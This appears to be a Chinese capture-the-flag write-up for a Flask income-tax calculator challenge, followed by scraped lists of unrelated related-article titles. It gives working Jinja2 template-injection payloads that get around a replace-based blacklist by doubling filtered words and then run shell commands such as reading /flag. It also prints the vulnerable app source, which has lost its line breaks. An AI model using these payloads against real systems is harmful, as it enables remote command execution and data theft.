http://www.bmzclub.cn/challenges#%E4%B8%AA%E4%BA%BA%E6%89%80%E5%BE%97%E7%A8%8E




很明显是SSTI,但是{{''.__class__.__mro__[1].__subclasses__()}}没有成功返回所有子类

猜测()被过滤了,但是并不是检测到过滤字符就die,而是像是被替换为了空。所以利用双写试试

{{''.__class__.__mro__[1].__subclasses__(())}}


直接找os._wrap_close

执行测试发现{{''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['popen']('whoami').read(())}}open也被过滤了,继续尝试双写绕过

{{''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['poopenpen']('whoami').read(())}}

{{''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['poopenpen']('ls -lha /;cat /flag').read(())}}


最后贴一下读出来的源码:app.py

# -*- coding:utf-8 -*-
from flask import Flask, render_template, render_template_string, request
import tax
from jinja2 import Template
import reapp = Flask(__name__)
flag = 1
@app.route('/cal', methods=['GET'])
def cal_tax() -> 'html':try:# income = int(request.form['income'])income = int(request.args.get('income', 0))insurance = int(request.args.get('insurance', 0))exemption = int(request.args.get('exemption', 0))# insurance = int(request.form['insurance'])# exemption = int(request.form['exemption'])before = income-insurance-exemptionfree = 5000rule = [(80000, 0.45, 15160),(55000, 0.35, 7160),(35000, 0.3, 4410),(25000, 0.25, 2660),     (12000, 0.2, 1410),(3000, 0.1, 210),(0,0.03, 0)]title = '个税计算结果'mytax = tax.calc_tax(before,free,rule)aftertax_income = income - insurance - mytaxreturn render_template('results.html',the_title=title,the_income=str(income),the_insurance=str(insurance),the_exemption=str(exemption),the_tax=str(mytax),the_aftertax_income=str(aftertax_income))except ValueError:print('------------error-------------\n\n')def safe_jinja(s):# 替换括号s = s.replace('()', '')s = s.replace('[]', '')blacklist = ['import','os','sys','commands','subprocess','open','eval']for bl in blacklist:s = s.replace(bl, "")return stitle = "输入参数的值有错"# income = request.form['income']# income = request.form['income']# insurance = request.form['insurance']# exemption = request.form['exemption']income = request.args.get('income', 0)insurance = request.args.get('insurance', 0)exemption = request.args.get('exemption', 0)print(safe_jinja(exemption))template = '''<!doctype html><html><head><title>%s</title><link rel="stylesheet" href="static/hf.css" /></head><body></body></html><h2>%s</h2><table><p>请检查输入的信息:</p><tr><td>税前月收入:</td><td>%s</td></tr><tr><td>四险一金:</td><td>%s</td></tr><tr><td>专项附加扣除:</td><td>%s</td></tr></table>''' % (title, title, safe_jinja(income), safe_jinja(insurance), safe_jinja(exemption))t = Template(template)return t.render()@app.route('/')
@app.route('/index')
def entry_page() -> 'html':return render_template('index.html', the_title='PY个人所得税计算器')@app.errorhandler(404)
def page_not_found(e) -> 'html':return render_template('404.html',url=request.url), 404@app.errorhandler(500)
def server_error(e) -> 'html':template = '''<title>500 Internal Server Error</title><h1>Internal Server Error</h1><p>The server encountered an internal error and was unable to complete your request. Please check jinjia2 syntax. Either the server is overloaded or there is an error in the application.</p>'''return render_template_string(template), 500
if __name__ == '__main__':app.run(debug=False, port = 8003, host="0.0.0.0")

BMZCTF:个人所得税相关推荐

  1. 用PHP计算个税,PHP计算个人所得税示例【不使用速算扣除数】

    本文实例讲述了PHP计算个人所得税.分享给大家供大家参考,具体如下: 不使用速算扣除数计算个人所得税,PHP自定义函数实现个人所得税计算.使用速算扣除数计算个人所得税过于简单,略过不提. PHP和JS ...

  2. 个人所得税计算器2016 by Jacksile

    个人所得税计算器2016 个人所得税计算器2016 税前薪资: 元 各项社会保险费: 元 起征点: 35004800元 应缴税款: 元 实发薪资: 元 个人所得税计算公式 应纳税额 = 应纳税所得额 ...

  3. 2011最新个人所得税计算器---起点3500元

    2011最新个人所得税计算器下载: http://files.cnblogs.com/qqivoryqq/TaxCalculate.zip 2011年9月1日后,个人所得税采用基数3500,超出部分按 ...

  4. 第三周项目一-个人所得税计算器

    /**Copyright(c)2016,烟台大学计算机与控制工程学院*All rights reserved*文件名称:123.cpp*作 者:王蕊*完成日期:2016年3月13日*版 本 号:v1. ...

  5. php写出个人所得税,PHP计算个人所得税示例【不使用速算扣除数】

    本文实例讲述了PHP计算个人所得税.分享给大家供大家参考,具体如下: 不使用速算扣除数计算个人所得税,PHP自定义函数实现个人所得税计算.使用速算扣除数计算个人所得税过于简单,略过不提. PHP和JS ...

  6. java个人所得税计算_java个人所得税计算器 | 学步园

    class Caculate{ private String name; private double money; private double actual; /** * @param usern ...

  7. python制作工资计算器-Python计算个人所得税

    不知道大家有没有细心观察自己工资条上个人所得税呢?很多人都觉得有专门的个人所得税计算器,不用再去复查,但是有的黑心的公司专门利用这种心理,偶尔增加你的扣税额,为了方便大家核查自己的个人所得税,我用Py ...

  8. 利用规则引擎计算个人所得税学习

    以个人所得税计算为业务原型,采用表达式规则和决策表Excel 模板导入方式实现.体现业务规则文本编辑,业务逻辑快速实现. 创建规则包 右键工程"测试XML结构",选择"新 ...

  9. C语言程序设计 计算个人所得税 浙大版,《C语言及程序设计》实践参考——个人所得税计算器switch语句版...

    [项目:个人所得税计算器switch语句版] 编写选择结构程序,输入个人月收入总额,计算出他本月应缴税款和税后收入(计算办法见附:关于个人所得税的有关背景知识). (1)用switch语句完成: (2 ...

最新文章

  1. 软件测试相关好文收集
  2. 很多初接触乐鑫ESP32/ESP8266 模块时,都不清楚怎么为 ESP32、ESP8266 系列模组烧录固件呢?这里以启明云端WT8266-S5(ESP-12F)和ESP32-WROOM模块为例说明
  3. Android自定义View Paint
  4. Java技巧分享:判断字符串是否为空常的三种方法
  5. mybatis和hibernate的区别---Mybatis的学习笔记(四)
  6. thinkphp5 ajax搜索+分页
  7. linux多线程 pthread用法
  8. python 类方法 静态方法_Python静态方法和类方法
  9. utilities——C++常用仿函数(二)
  10. Tomcat日志设定
  11. 苍井空是如何勾搭上社交电商的? - 案例 - i黑马网
  12. 【工程师学算法】工程常用算法(二)—— 卡尔曼滤波(Kalman Filter)
  13. 聊聊索引失效?失效的原因是什么?
  14. 这次,python将带你自动爬取B站CXK的NBA形象大使的全部鬼畜视频
  15. Langlands纲领介绍
  16. 承上启下继往开来,Python3上下文管理器(ContextManagers)与With关键字的迷思
  17. 网络编程 多道技术与同步/异步和阻塞/非阻塞
  18. c++实现高速缓存Cache
  19. linux cadaver 命令,screen命令用法与cadaver
  20. java.security.cert.CertPathValidatorException: Trust anchor for certification path not found.

热门文章

  1. 程序员学英语:口语999句之(667-999句)
  2. 新年开单必备:12个国家买家谈判风格差异get,外贸人记得转发收藏...
  3. 树莓派安装Samba服务构建家庭NAS
  4. Python爬取托福阅读练习题
  5. 三种实现Android主界面Tab的方式
  6. bio与bio_vec
  7. 【java毕业设计】基于java+Lucene+Tomcat的搜索引擎设计与实现(毕业论文+程序源码)——搜索引擎
  8. cam含义计算机系统,CAM的含义是什么
  9. 学位计算机英语,学士的英文名单大全
  10. Smart210学习记录------块设备